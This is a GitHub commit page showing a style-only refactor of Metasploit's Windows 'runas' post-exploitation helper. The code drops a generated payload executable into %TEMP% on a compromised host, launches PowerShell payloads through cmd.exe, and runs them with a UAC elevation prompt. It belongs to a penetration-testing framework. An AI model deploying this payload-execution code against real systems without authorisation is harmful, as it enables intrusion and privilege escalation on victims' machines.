Skip to content

Commit 391e2bb

Browse files
committed
Fixed some style changes
Removed upload var, it really served no purpose.
1 parent 0cf1b7f commit 391e2bb

File tree

1 file changed

+13
-18
lines changed

1 file changed

+13
-18
lines changed

lib/msf/core/post/windows/runas.rb

Lines changed: 13 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -9,29 +9,24 @@ module Msf::Post::Windows::Runas
99
include Msf::Exploit::EXE
1010
include Msf::Exploit::Powershell
1111

12-
def execute_exe(filename=nil,path=nil,upload=nil)
12+
def execute_exe(filename = nil, path = nil)
1313
exe_payload = generate_payload_exe
14-
payload_filename = filename || Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
15-
payload_path = path || expand_path("%TEMP%")
14+
payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'
15+
payload_path = path || expand_path('%TEMP%')
1616
cmd_location = "#{payload_path}\\#{payload_filename}"
17-
if upload
18-
print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
19-
write_file(cmd_location, exe_payload)
20-
else
21-
print_error("No Upload Path!")
22-
return
23-
end
24-
command,args = cmd_location,nil
25-
shell_exec(command,args)
17+
print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
18+
write_file(cmd_location, exe_payload)
19+
command, args = cmd_location, nil
20+
shell_exec(command, args)
2621
end
2722

2823
def execute_psh
29-
command,args = "cmd.exe", " /c #{cmd_psh_payload(payload.encoded)}"
30-
shell_exec(command,args)
24+
command, args = 'cmd.exe', " /c #{cmd_psh_payload(payload.encoded)}"
25+
shell_exec(command, args)
3126
end
3227

33-
def shell_exec(command,args)
34-
print_status("Executing Command!")
35-
session.railgun.shell32.ShellExecuteA(nil,"runas",command,args,nil,5)
28+
def shell_exec(command, args)
29+
print_status('Executing Command!')
30+
session.railgun.shell32.ShellExecuteA(nil, 'runas', command, args, nil, 5)
3631
end
37-
end
32+
end

0 commit comments

Comments
 (0)